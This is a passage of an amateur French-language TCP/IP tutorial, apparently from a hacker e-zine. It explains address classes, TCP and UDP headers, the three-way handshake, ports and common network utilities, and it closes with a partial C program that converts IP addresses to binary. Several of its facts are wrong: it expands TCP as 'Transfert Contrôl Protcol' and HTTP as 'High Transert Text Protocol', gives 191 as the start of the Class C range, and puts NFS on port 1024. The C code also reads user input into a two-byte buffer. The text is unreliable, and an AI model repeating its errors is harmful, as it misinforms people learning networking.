2 octets. Les 16 bits restant désignent l'hôte sur le réseau. Les 2 premiers bits de sa valeur binaire sont 1 et 0 ce qui donne en décimal des valeurs comprises entre 128 et 191 pour l'octet de tête. Le masque du sous réseau d'une adresse en classe B est 255.255.0.0 ce qui donne en binaire : 11111111.11111111.00000000.00000000 Chaque réseau de classe B peut supporter 65534 machines. Les adresse de classe B sont donc allouées à des réseau qui comportent un nombre courrant de machines ( grosse entreprise ... ). Classe C : __________ Un réseau de classe C a une ID réseau sur 24 bits soit 3 octets. Le dernier octet désigne la machine sur le réseau. L'octet de tête est compris entre 191 et 223 ce qui donne une forme binaire : 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx Le masque de sous réseau d'une adresse en classe C est : 255.255.255.0 ce qui donne en binaire : 11111111.11111111.11111111.00000000 En classe C on ne peut écrire que 254 adresses par réseau. Elles sont donc réservées à de petits réseaux. Classe D : __________ Cette classe n'a rien à voir avec les autres puisque les adresses de classe D ne sont pas assignées à de hôtes. Elles sont responsables de la multidiffusion. Le protocole IGMP est s'appuie d'ailleurs sur les adresses de classe D pour assurer l'envoi d'un même message à un ensemble de machines. Les adresses de classe D sont assignées à un ensemble de machines. Chacune d'entre elles possède sa propre adresse, mais une adresse de classe D désigne aussi pour IGMP l'ensemble de ces machines pour un envoi groupé de messages. L'octet de tête a une valeur décimale comprise entre 224 et 239. Classe E : __________ Peu utilisée paraît-il. Vois pas à quoi elle peut bien servir, rien à dire dessus, désolé. Maintenant que vous en savez un peu plus sur l'adressage, vous remarquez que le language binraire est beaucoup utilisé pour définir les adresses. Je ne pense pas que vous ayez besoin de détermier un nouveau masque pour la segmentation de votre réseau, donc on ne va pas entrer dans les détails de la conversion décimal/binaire ! J'ai juste voulu vous montrer à quoi ressemble une IP en language binaire pour vous donner un exemple du type de données que TCP/IP est amené à traiter. Cependant, si vous voulez en savoir un peu plus vous pouvez m'écrire en cliquant sur mon logo à vôtre gauche. J'ai en plus réalisé un petit programme " binairy" + source qui réalise pour vous une conversion. | V. La couche transport | ________________________ -> Rôle de la couche transport -> TCP -> UDP 1 . Rôle de la couche Transport : _________________________________ La couche Transport assure l'interface avec les applications. Elle est aussi responsable du multiplexage/démultiplexage des informations et d'un contrôle d'erreur. La couche Transport est composée de 2 protocoles : TCP et UDP comme nous le verrons plus loin. 1.1 Multiplexage / Démultiplexage : ____________________________________ La couche transport reçoit des données des applications, doit les traiter puis les passer aux couches inférieures en direction du réseau. Donc la couche Transport reçoit des données de plusieurs entrées pour les rediriger vers une seule sortie : C'est le Multiplexage. Lors de la réception, la couche Transport reçoit les données de la couche internet, les traite et les redirige vers les applications conçernées. Elle reçoit donc les données d'une seule entrée pour les diriger vers plusieurs sorties : C'est le Démultiplexage. Imaginez qu'une machine entame une session Telnet avec une autre, et disons qu'en même temps qu'un utilisateur exporte des fichiers par ftp et consulte un site web. La couche Transport reçoit toutes les données de 3 applications et les multiplexer de manière à les livrer à la couche Internet. En clair : ________________________________ | | | | | Telnet | FTP | WWW | Couche Application __________ __________ __________ | | | | | | | | |_________|__________| | Couche Transport | | | ( Multiplexage / ---------------|---------------- Démultiplexage ) | | | | | | | | | | | | | | Basses Couches | | | | | | ________________________________ | | | câble ____________________________________________________________________________________ En résumé, le multiplexage est la mise en série de données arrivant en parallèle, et inversement pour le démultiplexage. Ces transformations permettent aux Couches de bas niveau de traiter les données sans tenir compte des applications dont elles sont issues ou auquelles elles sont destinées. Mais alors allez vous me dire, comment les protocoles de la couche transport font-ils pour ne pas s'y perdre et, à la réception, démultiplexer les informations et les diriger vers les bons services ? Cela est rendu possible grâce aux sockets. 1.2 La notion de ports : ________________________ Un port est une adresse interne qui sert de chemin d'accès bidirectionnel entre applications et couche Transport - j'aime bien cette phrase ! - . C'est un numéro assigné à un service ou une application. Les données à destination de la couche Application seront démultipléxées par la couche transport qui les dirigera vers le ou les applications correspondant au numéro de port mentionné dans leur en-têtes. Dans l'exemple ci-dessus, les données à destination des service telnet, FTP et WWW seront démultiplexées respectivement en direction des ports 23, 21 et 80. Une application peut demander à la couche transport de la mettre en relation avec une application distant au port 80 ( www ). La demande est effectuée via un port source, au hasard le 2001, à destiation du port 80 de la machine distante. Celle-ci va répondre à la machine cliente par l'envoi des données désirées via le port 80 à destination du port 2001. Un petit schéma ? : machine Cliente Serveur ________________ ____________________ | | | | | | Applications | | | _________ | | __________ | |___|P. source|__| |____| p. dest. |____| | | n° 2001 | | | | n° 80 | | | ----|---- | Transport | -----|---- | ________|_______ __________|_________ | | | | | | | ^ | | Basses Couches | | | | | | | | | | | | | | | | V | | | | | | | ________|_______ __________|_________ | | | | requette à | | V destination ^ | | du port 80 | | | ------> | ______________________________________________________________________________________ <------ réponse en provenance du port 80 à destination du port 2001 La couche transport peut donc un port source ( ici 2001 ) pour emettre une requette visant un port réservé ( ici le 80 ). Le serveur utilisera le port conçerné ( le 80 ) comme port source pour émettre sa réponse à destination du port source de la machine cliente. Ce sont les sockets qui permettent cela. Un socket est la combinaison d'une adresse IP et d'un n° de port. Si l'on fait une demande de connection Telnet à la machine 195.6.210.9, le socket de l'application serveur sera 195.6.210.9,23 . C'est à ce socket que la couche transport va effectuer sa demande. vLe système d'adressage interne par sockets permet à la couche transport de démultiplexer les données en direction des bon services. En admettant que vous ayez saisis le concept ... Voyons ce qu'est un portocole orienté connection et non orienté connection, ça vous servira pour la suite. 1.3 Protocole oriéntés connection : ____________________________________ Alors, un protocole orienté connection est chargé d'établir et de maintenir une connection. Lui est associé un principe d'envoi d'accusés réception par le destinataire. L'expéditeur est quand à lui informé de la validité des données en transit. Puis le protocole met fin à la transmisson en avertissant l'autre machine. A l'inverse, un protocole non orienté connection ne se soucie pas d'entamer une connection mais envoie directement les données sans en avertir le destinatire. Il est moins fiable car il n'y a pas de contrôle d'erreur, ni de la part du client, ni de celle du serveur. La communication est enfin interrompue desuite aprés l'envoi des données. Il est cependant plus rapide. 2. TCP : _________ TCP signifie " Transfert Contrôl Protcol ". Les données traitées par TCP sont donc élaborées de manière à reseigner le protocole TCP du destinataire. Ce système permet la mise en oeuvre de contrôle d'erreur de par et d'autre. TCP est décrit par la RFC 793, voir annexe. 2.1 En-tête TCP : __________________ Le protocole TCP local élabore un " segment de données " dont l'en-tête contient champs destinés à renseigner le protocole TCP distant. De cette façon, lorsque des trames se perdent sur le réseau, ou sont altérées, le destinataire ne les reçevant pas, TCP en avertit l'expéditeur pour lui redemander si nécessaire la réexpédition des informations perdues. Et tout ceci grâce aux informations contenues dans l'en-tête TCP : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Port source | Port destinataire | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Numéro de séquence | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Accusé de réception | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Réservé |R|C|S|S|Y|I| Fenêtre | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Somme de contrôle | Pointeur de données urgentes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Remplissage | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | données | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Port source : _____________ C'est le n°,codé sur 16 bits, du port réservé à l'application cliente. Port destinataire : ___________________ C'est le n° du port réservé à l'application sur la machine destinataire. Il est lui aussi codé sur 16 bits. N° de séquence : ________________ C'est le numéro du premier octet des données du segment. Le n° de séquence sert à ordonner les données et à les situer par rapport au début de la transmission. Si le segment est le premier de la transmission, le n° de séquence est apellé " ISN " ( = n° de séquence initial ). Le premier octet de données sera numéroté ISN + 1. TCP assigne donc un n° de séquence à chaque paquet sortant et demande un accusé de réception à l'autre machine. Le n° de séquence ou n° d'ordre est codé sur 32 bits. Accusé de Réception : _____________________ Ce champ contient le prochain n° de séquence que le destinataire est pret à reçevoir, c'est à dire le n° de séquence du dernier octet reçu + 1. Ce champ ne sera pris en compte que si le Flag " ACK " a une valeur de 1. En abrégé je vais écrire A/R pour " accusé réception " ... ... à ne pas confondre avec la couche AR ( Accès Réseau ). Offset : ________ Ce champ de 4 bits précise la taille de l'en-tête, indiquant donc où commençent les données. Réservé : _________ Si vous avez à qui ... Les Flags : ___________ - URG : Si le champ URG vaut 1, TCP interprête le champ " pointeur d'urgence ". - ACK : Ce champ vaut 1 lorsque l'accusé de réception est à prendre en compte. - PSH : PSH = " push ". Quant ce champ vaut 1, TCP doit pousser les données aux applications. - RST : Demande la réinitialisation de la connection. Le flag RST est utilisé si une machine reçoit un paquet qui ne correspond pas à ce qui était attendu. - SYN : Sert à la synchronisation des n° de séquence. Lorsque le champ SYN vaut 1, le champ " n° de séquence " contient le n° de séquence initiale ou ISN car TCP est entrain de synchroniser. - FIN : Le flag FIN vaut 1 lorsque une machine décide de mettre fin à la transmission. Fenêtre : _________ Sert à contrôler le folt de données. Détermine le nombre de séquences que l'emetteur poura envoyer sans demander d'accusés réception. Somme de contrôle : ___________________ Valeur sur 16 bits qui permet de vérifier l'intégrité des données. A destination, TCP effectue un calcul à partir du segment reçu et comprare le résultat à la valeur de ce champ. Si les données n'ont pas été altérées au cours du transfert, les 2 valeur coïcident. Pointeur de données urgentes : ______________________________ Valeur sur 16 bits qui pointe vers le n° de séquence du premier octet d'une donnée urgente dans le segment. En clair, si le falg URG est activé ( c'est à dire vaut 1 ), TCP prend en compte ce champ qui lui indique où se trouvent les données urgentes dans le segment. Options : _________ ? Remplissage : _____________ Un en-tête TCP doit être composé d'un nombre d'octet multiple de 4 (32 bits). Les octets de Remplissage terminent l'en-tête TCP de manière lui donner la bonne longeur. TCP à besoin des champs contenus dans les en-têtes pour mettre en place une transmission et en garantir le bon déroulement. 2.2 Fonctionement de TCP : ___________________________ TCP gère des données de longueur variable. A chaque octet est assigné un numéro d'ordre. Cependant, seul le n° d'ordre ( ou n° de séquence ) du premier octet de donnée du segment est contenu dans l'en-tête. Si le segment est correctement réceptionné, TCP envoi à l'expéditeur un message pour en accuser réception. Il va utiliser pour cela le champ accusé réception de l'en-tête. Ce champ contiendra le n° d'ordre du dernier octet reçu + 1. Cette valeur précise à l'expéditeur la valeur du prochain n° d'ordre que le destintaire est pret à reçevoir de sa part. Ceci est vrai sauf lors de l'établissement d'une connection comme nous allons le voir plus loin. Si les données se predent et n'arrivent pas au destinataire, TCP ne reçevra pas d'accusé réception et en déduira à juste raison que les données ne lui sont pas parvenues. Il va donc lui réexpédier les données à partir du dernier octet pour lequel il aura reçu un accusé récption. Le flag ACK doit être à 1 pour que le champ A/R soit pris en compte. Etablissement d'une connection sous TCP : _________________________________________ TCP est un protocole orienté connection. De ce fait, il doit, avant de commençer un transfert de données, entamer la conversation de manière " courtoise " . Un client doit donc adresser au serveur une demmande de connection. Il lui envoit pour cela un segment. L'en-tête à un flag SYN à 1 pour avertir la machine distante que TCP est en-train procéder à la sychronisation des n° et que de ce fait, le champ " n° de séquence " est l'ISN, n° de séquence initial. Le premier octet transmis une fois la connection établie sera numéroté ISN + 1 ( et le n ième octet ISN + n ). Le destinataire, reçoit ce segment. Le protocole TCP interprète les champs. Il voit le SYN à 1 et comprend qu'il s'agit d'une demande de connection. TCP adresse donc à l'emetteur un segement en réponse. Dans l'en-tête de ce segement le flag SYN est aussi à 1 ce qui signife qu'il est entrain de sychroniser les n° de séquence et qu'il va lui adresser à son tour son ISN. En effet, le champ " n° de séquence " contient alors l'ISN du serveur. Le flag ACK est aussi activé. Cela siginfie que le client devra prendre en compte le champ d'accusé réception. Ce champ contient à cet instant l'ISN + 1 de la machine cliente ce qui correspond au numéro d'ordre du prochain octet de données que le serveur est pret à reçevoir. Et cela tombe bien car souvenez vous que l'on a dit que le premier octet aura pour n° d'ordre ISN ( du client ) + 1. Enfin, la machine cliente reçoit le segement contenant l'ISN du serveur. Il augmente l'ISN de 1 et lui retourne la valeur en la mettant dans le champ " accusé réception " d'un nouveau segment. Il met un ACK à 1 pour dire au serveur de tenir compte de l'accusé de réception. Les n° de séquence sont donc à leur positon initiale. La communication peut commençer. La façon dont TCP entame une connection est apellée " Three Ways handshake " ou triple poignée de main. En effet, la connection s'établit en 3 temps. Voyons sur un petit schéma : La machine A veut entamer une transmission avec la machine B. L'ISN de A est noté ISN(a), celui de B, ISN(b). A --> SYN & ISN(a) --> B (1) A <-- SYN/ACK & ISN(b) & ISN(a)+1 <-- B (2) A --> ACK & ISN(b)+1 --> B (3) 1 : A envoit un segment. A y place son ISN(a). Le flag SYN est à 1, le flag ACK à 0. 2 : B le reçoit et en envoit un en réponse. B y place son ISN(b). B y place aussi ISN(a)+1 pour accuser réception de segment reçu de A. Le flag SYN est à 1, le flag ACK est à 1 aussi. 3 : A reçoit le segment de B. Il y répond par un autre segment. A y place l'ISN(b)+1 pour accuser réception du segment de B. Le flag SYN est a 0, le flag ACK est à 1. La connection établie, A poura commencer à envoyer les données. Le premier octet aura comme n° d'ordre ISN(a)+1 comme s'y attend B. Voila pour la demande de connection et l'initialisation du transfert. Ceci n'est valable que lors de l'initiation de la connection. Le déroulement se passe différemment. Déroulement d'une session sous TCP : ____________________________________ Une fois la connection établie par une " triple poignée de main ", les valeurs des champs des en-têtes varient. Les flags SYN ne sont plus échangés car le champ " n° de séquence " des en-têtes ne contient plus l'ISN des machinent mais le n° d'ordre du premier octet du segment. Le champ A/R est toujours renseigné et contient le n° de séquence + 1 du dernier octet reçu. Voyons cela sur un schéma : L'émetteur envoit un segment de ce type : X1 X2 Xn ________ +--------+--------+ +--------+ |en-tête ||octet 1|octet 2| ... |octet n| X 1 est le n° d'ordre du premier octet contenu dans l'en-tête. X n est le n° d'ordre du n ième et dernier octet. Le destinataire le reçoit et repond par un autre segment : Y1 Y2 Yn ________ +--------+--------+ +--------+ |en-tête ||octet 1|octet 2| ... |octet n| L'en-tête contient : - Le champ n° de séquence : valeur Y1 ( n° de séquence du 1er octet ). - Le Flag ACK à 1. - Le champ Accusé Réception : valeur Xn +1 ( n° de séquence du dernier octet reçu + 1 ). Le destinataire en répondant de la sorte indique à l'émetteur que le prochain n° d'ordre qui est attendu est Xn +1. Si tout se déroule bien, Xn +1 sera le prochain n° d'ordre reçu. Il correspondra à la valeur du premier octet du nouveau segement. Incrémentation des n° de séquence ( ou n° d'ordre ) : _______________________________________________________ Les n° d'ordre ne sont pas des nombres fixes. Ce sont en fait des compteurs 32bits. La valeur d'un n° de séquence peut varier de 0 à plus de 4 290 000 000. Elle est incrémentée de de 128 000 par seconde et de 64 000 à chaque connection. Cela évite que 2 machines entrant en connection avec une 3 ème n'utilisent les mêmes n° d'ordres. Ainsi, si un intrus voulait s'inviter dans la discussion en usurpant l'identité de l'un des protagonistes, il lui faudrait deviner leurs n° de séquence. On comprend donc pourquoi lors de la " triple poignée de main " les ISN doivent être synchroniés. A doit avertir B du n° de séquence à partir duquel il va numéroter ses octets et réciproquement. Si vous ne voyez toujours pas l'intêret des n° d'ordre, imaginez que des paquets, par suite d'un problème de routage, arrivent dans le désordre. Le séquencage numérique et systématique des octets permet alors la remise en ordre lors de la transmission. Si, dans cet exemple, un paquet arrive avec un numéro de séquence supérieur à celui qui était attendu par le destinataire, TCP comprend qu'il manque un paquet entre celui-ci et le précédent. Il va donc en garder les données en mémoire en attendant de reçevoir les données concidérées comme en retard. Fin d'une connection sous TCP : _______________________________ Pour terminer une connection, le flag FIN est utilisé par les deux machines. A envoit un segment avec un flag FIN à 1. B lui répond avec un flag FIN dont A accuse réception ce qui met fin à la transmission. 2.3 Ports réservés TCP : _________________________ Rapellons qu'un port est un chemin d'accès qui permet aux applications d'entrer en contact avec les couches inférieurs. Un port est donc un numéro affecté à une application ou un service. Les applications fonctionnant sous TCP utilisent un port réservé TCP. Vous ne trouverez pas la liste complète des ports réservés TCP mais ceux de sertains services que vous connaissez déja et qui fonctionnent uniquement sous TCP. n° Port Application 21 FTP 23 Telnet 25 SMTP 79 Finger 513 Rlogin Ces services fonctionnent sous TCP car ils justifient que soit mis en place un système de contrôle d'erreur, et doivent donc se baser sur un protocole fiable. Ce sont des services improtants. Il ne faut pas pour autant oublier UDP, second portocole de la couche Transport. 3. UDP : ________ UDP est le second protocole de la couche Transport que nous allons développer. UDP est décrit par la RFC 768, voir annexe. 3.1 Caractéristiques de UDP : ______________________________ UDP siginife " User Datagrams Protocol ". C'est un protocole non orienté connection. Une connection sous UDP consiste en un simple envoi de données sans qu'il soit besoin d'avertir le destinataire du début de la connection ( ni de la fin d'ailleurs ). UDP ne met pas en place de contrôle d'erreur. Il est donc plus rapide mais son utilisation est moins fiable. Les en-têtes UDP sont beaucoup plus légèrs que celles de TCP. Sous UDP, le message généré est apellé datagrame, à ne pas confondre avec les datagrames IP. L'en-tête d'un datagrame fait 8 octets. 3.2 Format d'un datagrame UDP : ________________________________ +--------+--------+--------+--------+ | Port | Port | | Source | Destinataire | +--------+--------+--------+--------+ | | Somme | | Longueur | de | | | contrôle | +--------+--------+--------+--------+ | données | +-----------------------------------+ Port source : _____________ C'est le n° sur 16 bits du port assigné à l'application qui expédie le datagrame. Ce champ est facultatif. S'il est vide, l'application distante ne poura pas répondre. Les 16 bits sont donc mis à 0 lorsque le destinataire n'a pas besoin de répondre au datagrame de l'expéditeur. Port Destinataire : ___________________ Ce champ contient le n° de port de l'application à laquelle est destiné le datagrame. Longueur : __________ Donne sur 16 bits la taille du datagrame en-tête compris. Ce champ aura une valeur de 8 si le datagrame ne transporte aucune donnée ( comme dans le cas d'un ping ). Somme de contrôle : ____________________ Ce champ contient une valeur qui permet à UDP de vérifier l'intégrité des donées qui lui arrivent. Sur la machine émettrice, UDP génère une valeur, en fonction de la taille du datagrame, qu'il place dans ce champ. A destination, UDP éffectue le même calcul en compare le résultat à la valeur de ce champ. UDP peut ainsi voir si les datagrames ont été ou non altérés. 3.3 Ports réservés UDP : _________________________ Si certains ports sont réservés TCP, d'autres en revanche le sont à UDP. A titre d'exemple : n° Port Application 69 TFTP 161 SNMP 1024 NFS TFTP ( pour " Trivial File Transfert Protocol " ) permet d'uploader des données sur un compte ( sans mot de passe contrairement à FTP ). NFS quant à lui assure le partage de fichiers dans un environement Unix. L'utilisation d'NFS par exemple gènère un important flot de données et dans ce cas, UDP, plus léger et donc plus rapide que TCP, est utilisé pour faciliter le trafic. Les protocoles TCP et UDP communiquent via les différents ports qui leur sont réservés avec les applications. | VI. La couche Application | ____________________________ -> Généralités -> Les services de la couche Application 1) Généralités : ________________ La Couche Application constitue le sommet de l'architecture TCP/IP. Elle contient tous les logiciels et les processus utilisant ports TCP et UDP via la couche Transport pour atteindre le réseau et assure donc l'interface entre les couches de plus bas niveau et l'utilisateur. Toutes ces applications reçoivent les informations traitées par les différentes couches inférieures. Elles émettent également leurs propres messages qui seront traités par le reste de la pile puis plaçés sur le réseau. Nous allons voir la positon de la couche Application de TCP/IP dans le contexte OSI : OSI TCP/IP ___________________ <-----------------> __________________ | | | | | Application | | | ___________________ | | | | | | | Présentation | | Application | ___________________ | | | | | | | Session | | | ___________________ <-----------------> __________________ | | |\ /| | Transport | | \ / | ___________________ | \ / | | | | \ / | | Réseau | | \ / | ___________________ | Basses Couches | | | | \ / | | Liaison-Données | | \ / | ___________________ | \ | | | | / \ | | Physique | | / \ | ___________________ _____/_____\______ On voit sur ce schéma que la couche Application de TCP/IP est chargée de même travail qui sous OSI est confié à 3 couches distinctes : la couche Session, la couche Présentation et la couche Applicaton ( à ne pas confondre ). -> la couche Sesson OSI : Elle gère les communications entre applications et effectue la résolution de noms pour les déterminer l'adresse logique du destinataire à partir du nom d'hôte. Ce service sera utile aux autres couches. -> la couche Présentation : Elle convertit les données dans un format compréhensible pour l'utilisateur. Elle se charge également de la compréssion des données. -> la couche Application : Elle contient l'ensemble des logiciels qui communiquent via les couches inférieurs. La couche Application TCP/IP accomplit donc des taches identiques à celles des couches 5, 6 et 7 d'OSI. La couche Application TCP/IP est donc charger de la résolution de noms, de traiter les données en provenance des autres couches et d'assurer l'interface utilisateur en fournissant un ensemble de logiciels ayant accès au réseau. 2) Les services de la Couche Application : __________________________________________ La couche Application contient, nous l'avons dit, tous les logiciels ayant à accéder au réseau. Certains sont de simples utilitaires de test / configuration, d'autres sont des logiciels d'administration à distance et d'autres encore sont des utilitaires internet. 2.1 Utilitaires réseau : ________________________ Au nombre de ces utilitaires on trouve la plupart de ceux que vous conaissez déja. Tous sont nées sous environement Unix. Ping : ______ Test la connection à une machine. Traceroute : ____________ Affiche la liste des machines intermédiaires entre la source et la cible en suivant le chemin d'un datagrame. Le principe de Traceroute est expliqué au chapître 4 " La Couche Internet ". Sous DOS, le traceroute est exécuté par la commande " tracert ", tandis que sous unix, il est invoqué par la commande " traceroute ". ARP : _____ Affiche et modifie les tables de correspondance entre adresses IP et adresses MAC. Sous DOS, " > arp -a 127.0.0.1 " affiche la table ARP locale. " > arp -a 123.1.2.3 " affiche une table ARP distante. " > arp -s adresse IP adresse MAC " ajoute une entrée à la table ARP locale. IPConfig : __________ Affiche les paramètres courants du protocole IP. Informe de l'adresse logique locale. Sous windows 9x, ce logiciel est exécuté par "winipcfg". Sous winsows NT, il est invoqué par " ipconfig ". Sous Linux, il l'est par " ifconfig ". Netstat : _________ Affiche les statistiques des protocoles IP, TCP, UDP et ICMP. Nbtstat : _________ Sous windows, affiche les statistiques NetBIOS. D'autres logiciels contenus dans la couche Application sont utilisés pour l'administration à distance. 2.2 Logiciels d'Administration : ________________________________ Là aussi, vous les conaissez tous ou presque ... FTP : _____ " File Transfert Protocol ", ce logiciel implémente un protocole de transfert de fichiers. La connection au serveur est obtenue par " % ftp serveur.com ". L'accès au compte est protégé par mot de passe. FTP travaille sous TCP. FTP est décrit par la RFC 959. TFTP : ______ " Trivial File Protocol ", ce logiciel permet un transfert de fichiers sans mots de passe. TFTP travaille sous UDP. Telnet : ________ Un autre logiciel incontournable ... Telnet permet l'administration d'une machine à distance en ouvrant depuis celle-ci un terminal via le réseau. Telnet est décrit dans la RFC 854. Rexec : _______ Signigie " Remote Execution " et fait partie des commandes *R. Sous environement Unix, il permet d'exécuter des commandes sur une machine distante. Rlogin : ________ Toujours sour Unix, rlogin siginfie " Remote login " et permet de se loger et d'administrer une machine distante. L'authentification ne s'effectue pas par mots de passe mais, comme pour toutes les commandes *R, par la présence d'un fichier ".rhosts" dans le répertoire principal du compte auquel on se connecte. Rsh : _____ Rsh siginfie " Remote Shell " et permet là encore sans mot de passe, l'ouverture d'un shell depuis une machine distante ou l'exécution d'autres commandes. Finger : ________ Cet utilitaire permet de consulter la liste des utilisateurs présents sur un système local ou distant. Utilisé avec l'option "-l", il permet d'obtenir des informations détaillées sur chaque utilisateur. 2.3 Utilitaires Internet : __________________________ Cette catégorie d'utilitaires est utilisée lors de la " navigation " sur internet. Navigateurs : _____________ Autrement apellés Browsers ( IE, Netscape, Lynx ), ils permettent d'accéder au contenu html du web. Ils utilisent pour cela le protocole HTTP " High Transert Text Protocol ". Messagerie : ____________ Les logiciels de messagerie utilisent les portocoles SMTP ( " Simple Mail Transfert Protocol ") et POP pour respectivement l'envoi et la réception du courrier électronique. SMTP est décrit par la RCP 821. Service Whois : _______________ La commande Whois permet d'obtenir diverses informations à propos de sites ou de noms de domaines. On peut donc par ce biais consluter les informations personelles du propriétaire, des webmasters et des administrateurs du site. 2.4 Résolution de noms : ________________________ La résolution de noms établit la correspondance entre l'adresse alphanumérique désingant la machine et son adresse logique. Le service DNS, " Domain Name System " est respondable de cette conversion. Il est utilisé sur Internet aussi bien que sur des petits réseaux. Lorsqu'un utilisateur saisit un nom de domaine, le logiciel DNS de la machine cliente émet une requête à un serveur de noms qui fourniera l'adresse logique correspondante. Les serveurs de noms communiquent entre eux au niveau de la couche Application. Le principe de la résolution de noms fera l'objet d'un prochain chapître. Voila, vous savez maintenant ce qu'est la couche Application. Conclusion : ____________ Ainsi s'achève la Partie II " Le Système de Protocoles TCP/IP " et avec elle la partie 1/2 de cette introduction. A suivre : Partie III, chap 7. " Le Routage ", Chap. 8 " La Résolution de noms. Si des erreurs se sont glissées dans cet article, prévennez moi de façon à ce que je puisse publier un errata dans le prochain numéro. Si vous avez des questions ou des remarques, je le répète, écrivez moi. ANNEXE : ________ Les RFC : _________ Vous trouverez toutes les RFC qui ont été citées tout au long de cet article sur le site http://abcdrfc.free.fr . Le Programme : ______________ /* Binary v.1 par Neo_Fox [IOC] * * * * J'aurai du mal à faire plus merdique ! * Binary v.1 se contente de saisir une adresse IP * que vous entrez au prompt d'effectuer la conversion * en binaire, en appliquant un calcul trés simpliste, * mais l'essentiel est que ça marche non ? * * neo_fox_2001@hotmail.com * */ #include /* printf, scanf */ #include /* exit */ #include /* strcmp */ /* Nombres saisis*/ int IP1,IP2,IP3,IP4; /* les nombres une fois transformés en binaire */ char bin1 [10]; char bin2 [10]; char bin3 [10]; char bin4 [10]; int nbre[7]; /* recommencer */ char saisie [2]; /* définition des sous-programmes*/ void calcul1 (); void calcul2 (); void calcul3 (); void calcul4 (); void clean (); main () { printf("\n\n\n**** \tBinary 1.0 par Neo_Fox \t****\n\n\n"); prompt : printf("\n\nEntrez une Adresse IP au format xxx.xxx.xxx.xxx : "); scanf("%d.%d.%d.%d",&IP1,&IP2,&IP3,&IP4); /* Si les octets sont > à 255 ou invalides*/ if (IP1>=256) {printf("\n\rErreur de saisie !!)\n");goto prompt;} if (IP2>=256) {printf("\n\rErreur de saisie !!\n");goto prompt;} if (IP3>=256) {printf("\n\rErreur de saisie !!\n");goto prompt;} if (IP4>=256) {printf("\n\rErreur de saisie !!\n");goto prompt;} calcul1(); calcul2(); calcul3(); calcul4(); printf("\n\nDecimal : %d.%d.%d.%d\n",IP1,IP2,IP3,IP4); printf("Binaire : %s.%s.%s.%s\n",bin1,bin2,bin3,bin4); /* si l'IP = 127.0.0.1 ... */ if (IP1==127) { if (IP2==0) { if (IP3==0) { if (IP4==1) { printf("Usage : IP de loopback\n"); } } } } /* Recommencer ?*/ again : printf("\n\nRecommencer y/n ? "); scanf("%s",&saisie); if ((strcmp(saisie,"y")==0)||(strcmp(saisie,"Y")==0)){clean(); goto prompt;} if ((strcmp(saisie,"n")==0)||(strcmp(saisie,"N")==0)){printf("\n\nSortie du Programme !\n\n"); getchar(); exit(1);} else {goto again;} return 0; } /* Fin du main*/ /* Suite de calculs pour déduire la valeur binaire*/ void calcul1 () { if (IP1>=128){nbre[0]=IP1 - 128; strcat(bin1,"1");;} if (IP1<=127){nbre[0]=IP1; strcat(bin1,"0");} if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin1,"1");} if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin1,"0"); } if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin1,"1");} if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin1,"0"); } if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin1,"1");} if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin1,"0"); } if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin1,"1");} if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin1,"0"); } if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin1,"1");} if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin1,"0"); } if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin1,"1");} if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin1,"0"); } if (nbre[6]>=1){strcat(bin1,"1");} if (nbre[6]<=0){strcat(bin1,"0"); } } void calcul2 () { if (IP2>=128){nbre[0]=IP2 - 128; strcat(bin2,"1");;} if (IP2<=127){nbre[0]=IP2; strcat(bin2,"0");} if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin2,"1");} if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin2,"0"); } if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin2,"1");} if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin2,"0"); } if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin2,"1");} if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin2,"0"); } if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin2,"1");} if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin2,"0"); } if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin2,"1");} if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin2,"0"); } if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin2,"1");} if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin2,"0"); } if (nbre[6]>=1){strcat(bin2,"1");} if (nbre[6]<=0){strcat(bin2,"0"); } } void calcul3 () { if (IP3>=128){nbre[0]=IP3 - 128; strcat(bin3,"1");;} if (IP3<=127){nbre[0]=IP3; strcat(bin3,"0");} if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin3,"1");} if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin3,"0"); } if (nbre[1]>=32){nbre[2]=nbre[1] - 32; 